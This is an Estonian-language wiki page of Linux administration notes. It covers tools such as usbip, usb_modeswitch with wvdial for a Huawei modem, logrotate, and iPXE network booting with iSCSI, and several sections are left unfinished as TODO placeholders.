 # ps -a -f -u postgres&lt;br /&gt;
&lt;br /&gt;
Kasutaja postgres protsesside ja vastavate lõimede nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # ps -aLf -u postgres&lt;br /&gt;
&lt;br /&gt;
====Protsesside grupp====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ps -efj | less&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdftk kasutamine===&lt;br /&gt;
&lt;br /&gt;
pdftk http://www.pdflabs.com/docs/install-pdftk/ paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdftk&lt;br /&gt;
&lt;br /&gt;
===tvtime kasutamine===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install tvtime&lt;br /&gt;
&lt;br /&gt;
ning näidata&lt;br /&gt;
&lt;br /&gt;
 Please choose the TV standard to use -&amp;gt; PAL&lt;br /&gt;
 Please choose the frequency table to use -&amp;gt; Custom (must run tvtime-scanner first)&lt;br /&gt;
 Please choose the video4linux device which corresponds to your capture card -&amp;gt; /dev/video0&lt;br /&gt;
 Please choose the device that will be used in NTSC areas for decoding closed captions and XDS channel information; Device to use for VBI decoding -&amp;gt; /dev/vbi0&lt;br /&gt;
 Please choose whether tvtime should be &amp;quot;setuid root&amp;quot;, therefore getting root privileges when running -&amp;gt; No&lt;br /&gt;
&lt;br /&gt;
Esmalt tuleb laadida TV kaardile vastav draiver, nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # rmmod saa7134&lt;br /&gt;
 # modprobe saa7134 card=21 tuner=26&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* card sobiv valik tagab pildi&lt;br /&gt;
* tuner sobiv valik tagab heli&lt;br /&gt;
&lt;br /&gt;
Seejärel skaneerida kanalid&lt;br /&gt;
&lt;br /&gt;
 $ tvtime-scanner &lt;br /&gt;
 Reading configuration from /etc/tvtime/tvtime.xml&lt;br /&gt;
 Scanning using TV standard PAL.&lt;br /&gt;
 Scanning from  44.00 MHz to 958.00 MHz.&lt;br /&gt;
 Found a channel at 607.00 MHz (605.50 - 608.25 MHz), adding to channel list.&lt;br /&gt;
 I/O warning : failed to load external entity &amp;quot;/home/imre/.tvtime/stationlist.xml&amp;quot;&lt;br /&gt;
 station: No station file found, creating a new one.&lt;br /&gt;
&lt;br /&gt;
ning käivitada tvtime programm&lt;br /&gt;
&lt;br /&gt;
 # tvtime&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://sites.google.com/site/jobinau2/saa7130basedtvtunercardunderlinux&lt;br /&gt;
&lt;br /&gt;
===PAM===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine pam_unix abil====&lt;br /&gt;
&lt;br /&gt;
/etc/shadow failis on üldiselt toetatud sellised räsid&lt;br /&gt;
&lt;br /&gt;
* $1$ - MD5&lt;br /&gt;
* $2a$ - blowfish&lt;br /&gt;
* $5$ - SHA-256&lt;br /&gt;
* $6$ - SHA-512&lt;br /&gt;
&lt;br /&gt;
Kui osutab, et /etc/shadow ei tööta, st nt peale süsteemi uuendamist kasutaja sisestab õige parooli kuid ei saa sisse logida, siis tõenäoliselt ei sobi kokku /etc/pam.d/* seadistusfailid /etc/shadow sisuga.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://digitalconsumption.com/forum/615-Blowfish-shadow-files-on-Debian&lt;br /&gt;
&lt;br /&gt;
===Gnome-shell===&lt;br /&gt;
&lt;br /&gt;
Gnome shell http://en.wikipedia.org/wiki/GNOME_Shell on ... ja kasutamine eeldab&lt;br /&gt;
&lt;br /&gt;
* 3D toega videokaardi olemasolu, kusjuures kaart peab nö sobima (nt Radeon HD 3600 fglrx draiveriga annab vigu nö olulises kohas, GeForce 7600 GS nouveau draiveriga sobib)&lt;br /&gt;
&lt;br /&gt;
Olulised asjad&lt;br /&gt;
&lt;br /&gt;
* extensions&lt;br /&gt;
* gnome-tweak-tool&lt;br /&gt;
&lt;br /&gt;
===USB over IP===&lt;br /&gt;
&lt;br /&gt;
USB over IP tarkvara http://usbip.sourceforge.net/ abil saab teha ühe arvuti füüsilised USB seadme üle võrgu kasutatavaks teisest avutist.&lt;br /&gt;
&lt;br /&gt;
Praktiliselt voib olla hada sellest, et user space ja kernel space tarkvara ei sobi kokku. Nt tundub, et Ubuntu (sh v. 14.04) paketihalduses on usbip v. 0.7, aga tuumas talle vajalikke mooduleid pole. Teine variant on, et kasutada saab usbip v. 1.1, millega tuuma moodulid naikse paremini kokku sobivat. Debian Jessie sisaldab 2014 aasta suvel v. 1.1 tarvkara ja see paistab töötavat.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Tarkvara paigaldamine====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigladamiseks sobib mõlemas arvuti öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install usbip&lt;br /&gt;
&lt;br /&gt;
Paigaldamise tulemusena tekib failisysteemi muu hulgas&lt;br /&gt;
&lt;br /&gt;
* usbip - utiliit serveri seadistamiseks ja kliendi juhtimiseks&lt;br /&gt;
* usbipd - serveri poolel tootav deemon&lt;br /&gt;
&lt;br /&gt;
====Serveri poole ettevalmistamine ja käivitamine====&lt;br /&gt;
&lt;br /&gt;
Laadida moodulid&lt;br /&gt;
&lt;br /&gt;
 server:~# modprobe usbip_core&lt;br /&gt;
 server:~# modprobe usbip_host&lt;br /&gt;
&lt;br /&gt;
Käivitada usbipd deemon, kuulab vaikimisi 3240/tcp pordil&lt;br /&gt;
&lt;br /&gt;
 server:~# usbipd&lt;br /&gt;
&lt;br /&gt;
USB seadmete serveris olevate USB seadmete nimekirja esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 server:~# usbip list --local&lt;br /&gt;
 Local USB devices&lt;br /&gt;
 =================&lt;br /&gt;
 - busid 1-1 (8087:0024)&lt;br /&gt;
   Intel Corp. : Integrated Rate Matching Hub (8087:0024)&lt;br /&gt;
         1-1:1.0 -&amp;gt; hub&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.2 (0781:5530)&lt;br /&gt;
   SanDisk Corp. : Cruzer (0781:5530)&lt;br /&gt;
         1-1.2:1.0 -&amp;gt; usb-storage&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.4 (0424:2514)&lt;br /&gt;
   Standard Microsystems Corp. : USB 2.0 Hub (0424:2514)&lt;br /&gt;
         1-1.4:1.0 -&amp;gt; hub&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.4.3 (046d:c31d)&lt;br /&gt;
   Logitech, Inc. : Media Keyboard K200 (046d:c31d)&lt;br /&gt;
         1-1.4.3:1.0 -&amp;gt; usbhid&lt;br /&gt;
         1-1.4.3:1.1 -&amp;gt; usbhid&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.4.4 (046d:c05a)&lt;br /&gt;
   Logitech, Inc. : M90/M100 Optical Mouse (046d:c05a)&lt;br /&gt;
         1-1.4.4:1.0 -&amp;gt; usbhid&lt;br /&gt;
 &lt;br /&gt;
 - busid 1-1.5 (04e6:e001)&lt;br /&gt;
   SCM Microsystems, Inc. : SCR331 SmartCard Reader (04e6:e001)&lt;br /&gt;
         1-1.5:1.0 -&amp;gt; usbfs&lt;br /&gt;
&lt;br /&gt;
Seadme eksportimiseks sobib oelda, nt Cruizer USB pulk jaoks&lt;br /&gt;
&lt;br /&gt;
 server:~# usbip bind -b 1-1.2&lt;br /&gt;
 bind device on busid 1-1.2: complete&lt;br /&gt;
&lt;br /&gt;
Tulemusena on --list väljundis vastav seade&lt;br /&gt;
&lt;br /&gt;
  - busid 1-1.2 (0781:5530)&lt;br /&gt;
    SanDisk Corp. : Cruzer (0781:5530)&lt;br /&gt;
          1-1.2:1.0 -&amp;gt; usbip-host&lt;br /&gt;
&lt;br /&gt;
====Kliendi poole ettevalmistamine ja käivitamine====&lt;br /&gt;
&lt;br /&gt;
Laadida moodul&lt;br /&gt;
&lt;br /&gt;
 klient:~# modprobe vhci_hcd&lt;br /&gt;
&lt;br /&gt;
Eksporditud seadmete nimekirja küsimiseks sobib öelda kliendi arvutis&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip list -r 192.168.10.10&lt;br /&gt;
 Exportable USB devices&lt;br /&gt;
 ======================&lt;br /&gt;
 - 192.168.10.10&lt;br /&gt;
      1-1.2: SanDisk Corp. : Cruzer (0781:5530)&lt;br /&gt;
           : /sys/devices/pci0000:00/0000:00:07.0/usb1/1-1/1-1.2&lt;br /&gt;
           : (Defined at Interface level) (00/00/00)&lt;br /&gt;
           :  0 - Mass Storage / SCSI / Bulk-Only (08/06/50)&lt;br /&gt;
&lt;br /&gt;
Seadme kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip attach -r 192.168.10.10 -b 1-1.2&lt;br /&gt;
&lt;br /&gt;
Seejärel on seade paistab nagu kohalik seade ja on valmis kasutamiseks, nt&lt;br /&gt;
&lt;br /&gt;
 klient:~# lsusb &lt;br /&gt;
 Bus 009 Device 004: ID 0781:5530 SanDisk Corp. Cruzer&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
ja usbip spetsiifilisemalt&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip port&lt;br /&gt;
 Imported USB devices&lt;br /&gt;
 ====================&lt;br /&gt;
 Port 00: &amp;lt;Port in Use&amp;gt; at High Speed(480Mbps)&lt;br /&gt;
       unknown vendor : unknown product (0781:5530)&lt;br /&gt;
       9-1 -&amp;gt; usbip://192.168.10.10:3240/1-1.2&lt;br /&gt;
           -&amp;gt; remote bus/dev 001/037&lt;br /&gt;
&lt;br /&gt;
Kasutamise lõpetamiseks sobib öelda kasutades vhci_hcd pordi numbrit&lt;br /&gt;
&lt;br /&gt;
 klient:~# usbip detach --port=0&lt;br /&gt;
&lt;br /&gt;
====Serveri poolel kasutamise lõpetamine====&lt;br /&gt;
&lt;br /&gt;
Peale seda kui kliendi pool on seadme kasutamine lõpetatud, öelda&lt;br /&gt;
&lt;br /&gt;
 server:~# usbip unbind -b 1-1.2&lt;br /&gt;
 unbind device on busid 1-1.2: complete&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://www.howtoforge.com/how-to-set-up-a-usb-over-ip-server-and-client-with-debian-lenny&lt;br /&gt;
* https://www.kernel.org/doc/readme/drivers-staging-usbip-userspace-README&lt;br /&gt;
&lt;br /&gt;
===Töötamine failisüsteemiga===&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on häda miinus märgiga failidega töötamisel, -- võtme kasutamine aitab, nt '-failinimi' nimelise faili kustutamisel&lt;br /&gt;
&lt;br /&gt;
 $ rm -- -failinimi&lt;br /&gt;
&lt;br /&gt;
===USB netipulga kasutamine===&lt;br /&gt;
&lt;br /&gt;
USB netipulga kasutamine koosneb kahest osast&lt;br /&gt;
&lt;br /&gt;
* arvutis peavad olema /dev/ttyUSB* nimelised usb serial seadmed&lt;br /&gt;
* ppp ühenduse loomiseks tuleb kasutada sobivat programmi, wvdial, Gnome desktopilt midagi vms&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kui netipulk ei tööta automaatselt, siis võib olla probleem selles, et süsteem tunneb ta ära storage seadmena ja mitte võrguseadmena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[11360165.312014] usb 1-4: new high-speed USB device number 10 using ehci-pci&lt;br /&gt;
[11360165.458578] usb 1-4: New USB device found, idVendor=12d1, idProduct=1505&lt;br /&gt;
[11360165.458734] usb 1-4: New USB device strings: Mfr=3, Product=2, SerialNumber=0&lt;br /&gt;
[11360165.458900] usb 1-4: Product: HUAWEI Mobile&lt;br /&gt;
[11360165.459001] usb 1-4: Manufacturer: Huawei Technologies&lt;br /&gt;
[11360165.460790] usb-storage 1-4:1.0: USB Mass Storage device detected&lt;br /&gt;
[11360165.461082] scsi10 : usb-storage 1-4:1.0&lt;br /&gt;
[11360166.461381] scsi 10:0:0:0: CD-ROM            HUAWEI   Mass Storage     2.31 PQ: 0 ANSI: 0&lt;br /&gt;
[11360166.478285] sr1: scsi-1 drive&lt;br /&gt;
[11360166.478582] sr 10:0:0:0: Attached scsi CD-ROM sr1&lt;br /&gt;
[11360166.478694] sr 10:0:0:0: Attached scsi generic sg5 type 5&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
usb-modeswitch paketi tarkvara teeb temast võrguseadme.&lt;br /&gt;
&lt;br /&gt;
====/dev/ttyUSB* seadmete tekitamine====&lt;br /&gt;
&lt;br /&gt;
E392 kirjaga netipulk paistab faili usb.ids tõttu&lt;br /&gt;
&lt;br /&gt;
 # grep 1505 /var/lib/usbutils/usb.ids&lt;br /&gt;
        1505  E398 LTE/UMTS/GSM Modem/Networkcard&lt;br /&gt;
&lt;br /&gt;
lsusb väljundis E398&lt;br /&gt;
&lt;br /&gt;
 Bus 001 Device 041: ID 12d1:1505 Huawei Technologies Co., Ltd. E398 LTE/UMTS/GSM Modem/Networkcard&lt;br /&gt;
&lt;br /&gt;
Kusjuures /dev kataloogis pole usb serialile vastavaid faili, st /dev/ttyUSB* nimelisi.&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks sobib tekitada fail&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/usb_modeswitch.d/12d1\:1505 &lt;br /&gt;
 # Huawei E392&lt;br /&gt;
 &lt;br /&gt;
 DefaultVendor=  0x12d1&lt;br /&gt;
 DefaultProduct= 0x1505&lt;br /&gt;
 &lt;br /&gt;
 TargetVendor=  0x12d1&lt;br /&gt;
 TargetProductList=0x1506&lt;br /&gt;
 &lt;br /&gt;
 MessageContent=&amp;quot;55534243123456780000000000000011062000000100000000000000000000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning lisada faili /lib/udev/rules.d/40-usb_modeswitch.rules lõpupoole rida&lt;br /&gt;
&lt;br /&gt;
 # Huawei E392&lt;br /&gt;
 ATTRS{idVendor}==&amp;quot;12d1&amp;quot;, ATTRS{idProduct}==&amp;quot;1505&amp;quot;, RUN+=&amp;quot;usb_modeswitch '%b/%k'&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Seejärel võtta pulk usb pesast välja ja uuesti sisse panna, lsusb väljundis peaks nüüd olema, 1506 -&amp;gt; 1505 muutunud&lt;br /&gt;
&lt;br /&gt;
 Bus 001 Device 043: ID 12d1:1506 Huawei Technologies Co., Ltd. E398 LTE/UMTS/GSM Modem/Networkcard&lt;br /&gt;
&lt;br /&gt;
ning lisaks tekkinud seadmed&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /dev/ttyUSB*&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 0 Dec 20 01:27 /dev/ttyUSB0&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 1 Dec 20 01:16 /dev/ttyUSB1&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 2 Dec 20 01:16 /dev/ttyUSB2&lt;br /&gt;
&lt;br /&gt;
Tundub, et kui systemd millegipärast ei taha käivitada sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # /usr/sbin/usb_modeswitch --default-vendor 0x12d1 --default-product 0x1505 -J&lt;br /&gt;
&lt;br /&gt;
====wvdial kasutamine====&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/wvdial.conf &lt;br /&gt;
 [Dialer Defaults]&lt;br /&gt;
 Phone = &lt;br /&gt;
 Username = &lt;br /&gt;
 Password = &lt;br /&gt;
 New PPPD = yes&lt;br /&gt;
 &lt;br /&gt;
 Modem Type = Analog Modem&lt;br /&gt;
 Phone = *99#&lt;br /&gt;
 ISDN = 0&lt;br /&gt;
 Baud = 460800&lt;br /&gt;
 Username = &amp;quot; &amp;quot;&lt;br /&gt;
 Password = &amp;quot; &amp;quot;&lt;br /&gt;
 Modem = /dev/ttyUSB0&lt;br /&gt;
 Init1 = ATZ&lt;br /&gt;
 Init2 = at+cgdcont=1,&amp;quot;ip&amp;quot;,&amp;quot;internet.emt.ee&amp;quot;&lt;br /&gt;
 Stupid Mode = 1&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # wvdial&lt;br /&gt;
 --&amp;gt; WvDial: Internet dialer version 1.61&lt;br /&gt;
 --&amp;gt; Initializing modem.&lt;br /&gt;
 --&amp;gt; Sending: ATZ&lt;br /&gt;
 ATZ&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Sending: at+cgdcont=1,&amp;quot;ip&amp;quot;,&amp;quot;internet.emt.ee&amp;quot;&lt;br /&gt;
 at+cgdcont=1,&amp;quot;ip&amp;quot;,&amp;quot;internet.emt.ee&amp;quot;&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Modem initialized.&lt;br /&gt;
 --&amp;gt; Sending: ATDT*99#&lt;br /&gt;
 --&amp;gt; Waiting for carrier.&lt;br /&gt;
 ATDT*99#&lt;br /&gt;
 CONNECT&lt;br /&gt;
 --&amp;gt; Carrier detected.  Starting PPP immediately.&lt;br /&gt;
 --&amp;gt; Starting pppd at Fri Dec 20 01:35:25 2013&lt;br /&gt;
 --&amp;gt; Pid of pppd: 17139&lt;br /&gt;
 --&amp;gt; Using interface ppp0&lt;br /&gt;
 --&amp;gt; local  IP address 10.128.53.223&lt;br /&gt;
 --&amp;gt; remote IP address 10.64.64.64&lt;br /&gt;
 --&amp;gt; primary   DNS address 217.71.33.151&lt;br /&gt;
 --&amp;gt; secondary DNS address 217.71.33.150&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib ppp0 seade üle mille saab liiklust ruutida (teiste arvutite liiklust tuleb src nat'tida)&lt;br /&gt;
&lt;br /&gt;
 # ifconfig ppp0&lt;br /&gt;
 ppp0      Link encap:Point-to-Point Protocol  &lt;br /&gt;
           inet addr:10.128.77.124  P-t-P:10.64.64.64  Mask:255.255.255.255&lt;br /&gt;
           UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
           RX packets:7 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
           TX packets:8 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
           collisions:0 txqueuelen:3 &lt;br /&gt;
           RX bytes:70 (70.0 B)  TX bytes:157 (157.0 B)&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://trisquel.info/en/forum/install-huawei-e392-usb-lte-drivers&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/bb/viewtopic.php?t=681&lt;br /&gt;
* http://blog.bluedrive.ro/?p=28&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/&lt;br /&gt;
* https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/889878&lt;br /&gt;
* http://importgeek.wordpress.com/tag/12d11505/&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/bb/&lt;br /&gt;
* http://oliver.tele2.ee/kuidas-huawei-e1752-ja-ubuntu-10-04-kasikaes-internetti-lahevad/&lt;br /&gt;
* http://www.draisberghof.de/usb_modeswitch/bb/viewtopic.php?f=4&amp;amp;t=891&amp;amp;p=5898&amp;amp;hilit=12d1%3A1505#p5898&lt;br /&gt;
&lt;br /&gt;
===zip arhivaatori kasutamine===&lt;br /&gt;
&lt;br /&gt;
Parooliga kaitstud arhiivi moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 $ zip -r --password parool katalooginimi.zip katalooginimi&lt;br /&gt;
&lt;br /&gt;
===Pipe viewer===&lt;br /&gt;
&lt;br /&gt;
Pipe viewer programmiga saab jälgida läbi toru mineva progressi. Paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pv&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja sedasi&lt;br /&gt;
&lt;br /&gt;
 # timeout 10 cat /dev/zero | pv &amp;gt; /dev/null&lt;br /&gt;
 4GB 0:00:07 [1.91GB/s] [               &amp;lt;=&amp;gt;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
===AUFS===&lt;br /&gt;
&lt;br /&gt;
AUFS http://aufs.sourceforge.net/ võimaldab mitme kataloogi sisu esitada ühes nö virtuaalses kataloogis. Alternatiivne võimalus on seda saavutada UnionFS abil.&lt;br /&gt;
&lt;br /&gt;
 # mount -t aufs -o dirs=/tmp/kata1:/tmp/kata2:/root/kata3 none /tmp/dir&lt;br /&gt;
&lt;br /&gt;
===Network manager===&lt;br /&gt;
&lt;br /&gt;
Lisaks Network manager graafilisele kasutajaliidesele on olemas ka käsurea utiliit nmcli&lt;br /&gt;
&lt;br /&gt;
 # nmcli -p dev&lt;br /&gt;
 ================================================&lt;br /&gt;
                Status of devices&lt;br /&gt;
 ================================================&lt;br /&gt;
 DEVICE      TYPE         STATE      CONNECTION &lt;br /&gt;
 ------------------------------------------------&lt;br /&gt;
 docker0     bridge       connected  docker0    &lt;br /&gt;
 vetha88a    ethernet     connected  vetha88a   &lt;br /&gt;
 br0         openvswitch  connected  br0        &lt;br /&gt;
 br3         openvswitch  connected  br3        &lt;br /&gt;
 tep0        openvswitch  connected  tep0       &lt;br /&gt;
 eth0        ethernet     unmanaged  --         &lt;br /&gt;
 lo          loopback     unmanaged  --         &lt;br /&gt;
 ovs-system  openvswitch  unmanaged  --         &lt;br /&gt;
&lt;br /&gt;
===Skänneri kasutamine===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install &lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://help.ubuntu.com/community/ScanningHowTo&lt;br /&gt;
* http://www.sane-project.org/sane-backends.html&lt;br /&gt;
&lt;br /&gt;
===Logrotate===&lt;br /&gt;
&lt;br /&gt;
Näitab, mis toimub, aga midagi failisüsteemis vms ei tee&lt;br /&gt;
&lt;br /&gt;
 # logrotate -d /etc/logrotate.conf&lt;br /&gt;
&lt;br /&gt;
Teeb nö jõuga&lt;br /&gt;
&lt;br /&gt;
 # logrotate -f /etc/logrotate.conf&lt;br /&gt;
&lt;br /&gt;
Roteeritud failide nimedes kuupäeva kasutamiseks sobib logrotate seadistusfailide vastavates sektsioonides kasutada lisaks rida&lt;br /&gt;
&lt;br /&gt;
 dateext&lt;br /&gt;
&lt;br /&gt;
Tulemuseks on nt&lt;br /&gt;
&lt;br /&gt;
 /var/log/apache2/access.log-20140922.gz&lt;br /&gt;
&lt;br /&gt;
===iPXE===&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis mainitud dhcp serveri tarkvarana sobib kasutada paketti&lt;br /&gt;
&lt;br /&gt;
 # apt-get install isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
ja tftpd serverina paketti&lt;br /&gt;
&lt;br /&gt;
 # apt-get install atftpd&lt;br /&gt;
&lt;br /&gt;
iPXE tarkvara paketist&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ipxe&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kui on kasutada nö tavalise PXE toega võrgukaardiga arvuti, siis üks viis iPXE tarkvara kasutamiseks on laadida see dhcp + tftp serverilt, nt sellise sektsiooniga&lt;br /&gt;
&lt;br /&gt;
 host hp.auul {&lt;br /&gt;
   hardware ethernet 64:31:50:6c:c0:b4;&lt;br /&gt;
   fixed-address 192.168.10.41;&lt;br /&gt;
   option broadcast-address 192.168.10.255;&lt;br /&gt;
   option routers 192.168.10.254;&lt;br /&gt;
 &lt;br /&gt;
   filename &amp;quot;undionly.kpxe&amp;quot;;&lt;br /&gt;
   next-server 192.168.10.10;&lt;br /&gt;
   option domain-name-servers 10.192.0.53;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* undionly.kpxe - paketist 'apt-get install ipxe'&lt;br /&gt;
&lt;br /&gt;
Tulemusena ilmub vastava arvuti ekraanile iPXE ja Ctrl-B abil saab siseneda iPXE keskkonda. Nt võrgust Debian Jessie installeri käivitamine toimub sedasi&lt;br /&gt;
&lt;br /&gt;
 chain http://ftp.imool.ee/pub/incoming/imre/dj-install.ipxe&lt;br /&gt;
&lt;br /&gt;
kus pöördutaval aadressil on tekst sisuga&lt;br /&gt;
&lt;br /&gt;
 # cat dj-install.ipxe&lt;br /&gt;
 #!ipxe&lt;br /&gt;
 kernel http://ftp.nl.debian.org/debian/dists/jessie/main/installer-amd64/current/images/netboot/debian-installer/amd64/linux&lt;br /&gt;
 initrd http://ftp.nl.debian.org/debian/dists/jessie/main/installer-amd64/current/images/netboot/debian-installer/amd64/initrd.gz&lt;br /&gt;
 boot&lt;br /&gt;
&lt;br /&gt;
Seejärel käivitab Debian installer. Paistab, et Jessie oskab iSCSI peale paigaldada.&lt;br /&gt;
&lt;br /&gt;
'chain' ütlemist saab automatiseerida nt sellise DHCP serveri sektsiooniga&lt;br /&gt;
&lt;br /&gt;
 host hp.auul {&lt;br /&gt;
   hardware ethernet 64:31:50:6c:c0:b4;&lt;br /&gt;
   fixed-address 192.168.10.41;&lt;br /&gt;
   option broadcast-address 192.168.10.255;&lt;br /&gt;
   option routers 192.168.10.254;&lt;br /&gt;
 &lt;br /&gt;
   next-server 192.168.10.10;&lt;br /&gt;
   option domain-name-servers 10.192.0.53;&lt;br /&gt;
   if exists user-class and option user-class = &amp;quot;iPXE&amp;quot; {&lt;br /&gt;
     filename &amp;quot;http://ftp.imool.ee/pub/incoming/imre/ipxe&amp;quot;;&lt;br /&gt;
   } else {&lt;br /&gt;
      filename &amp;quot;undionly.kpxe&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
}   &lt;br /&gt;
&lt;br /&gt;
* esmalt klient arvuti töötab PXE abil DHCP kliendina ja laaditakse undionly.kpxe&lt;br /&gt;
* seejärel klient arvuti töötab iPXE abil DHCP kliendina ja pöördutakse http://ftp.imool.ee/pub/incoming/imre/ipxe poole&lt;br /&gt;
&lt;br /&gt;
====Debian v. 8 Jessie kasutamine diskless iSCSI kliendina====&lt;br /&gt;
&lt;br /&gt;
Üks praktiline vajadus iPXE jaoks on iSCSI ressursi kautamine juurfailisüsteemina. Selleks sobib Debian v. 8 Jessie paigaldada eelmises punktis näidatud viisil ja failisüsteemid paigutada iSCSI peale. Paigaldatud arvuti käivitamiseks sobib kasutada sellist iPXE skripti&lt;br /&gt;
&lt;br /&gt;
 # cat scsi-boot.ipxe&lt;br /&gt;
 #!ipxe&lt;br /&gt;
 &lt;br /&gt;
 dhcp&lt;br /&gt;
 set initiator-iqn iqn.1993-08.org.debian:01:6f3ac5994d50&lt;br /&gt;
 sanboot iscsi:10.1.1.15::::iqn.2000-01.com.synology:syno-varundus-1.imretest.989d9f15bf&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
mis laaditakse dchp serveri seadistusfailist reaga&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 filename &amp;quot;http://ftp.imool.ee/pub/incoming/imre/iscsi-boot.ipxe&amp;quot;;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Kui Debian Jessie peaks bootimisel jääma initramfs prompti, siis võib aidata käsitsi sobivate argumentidega öelda&lt;br /&gt;
&lt;br /&gt;
 # iscsistart ...&lt;br /&gt;
&lt;br /&gt;
või pärida iPXE käest&lt;br /&gt;
&lt;br /&gt;
 # iscsistart -b&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -t - ...&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://backreference.org/2013/12/23/diskless-iscsi-boot-with-pxe-howto/&lt;br /&gt;
* http://www.heath-bar.com/blog/?p=184&lt;br /&gt;
* http://etherboot.org/wiki/sanboot/debian_lenny_iscsi&lt;br /&gt;
* http://ipxe.org/cmd/sanboot&lt;br /&gt;
* http://wiki.openelec.tv/index.php/Network_Boot_-_iSCSI&lt;br /&gt;
* http://jpmens.net/2011/07/18/network-booting-machines-over-http/&lt;br /&gt;
&lt;br /&gt;
===D-Bus===&lt;br /&gt;
&lt;br /&gt;
D-Bus http://www.freedesktop.org/wiki/Software/dbus/ ...&lt;br /&gt;
&lt;br /&gt;
D-Bus peal toimuva jälgimiseks sobib kasutada nt d-feet programmi&lt;br /&gt;
&lt;br /&gt;
 # apt-get install d-feet&lt;br /&gt;
&lt;br /&gt;
[[Pilt:D-feet-1.gif]]&lt;br /&gt;
&lt;br /&gt;
PlayPause toggleb pausi ja jätkamise vahel, selle rakendamist võib klõpsida hiirega ja öelda Execute või käsurealt&lt;br /&gt;
&lt;br /&gt;
 $ dbus-send --print-reply --session --dest=org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.PlayPause&lt;br /&gt;
 method return sender=:1.913 -&amp;gt; dest=:1.917 reply_serial=2&lt;br /&gt;
&lt;br /&gt;
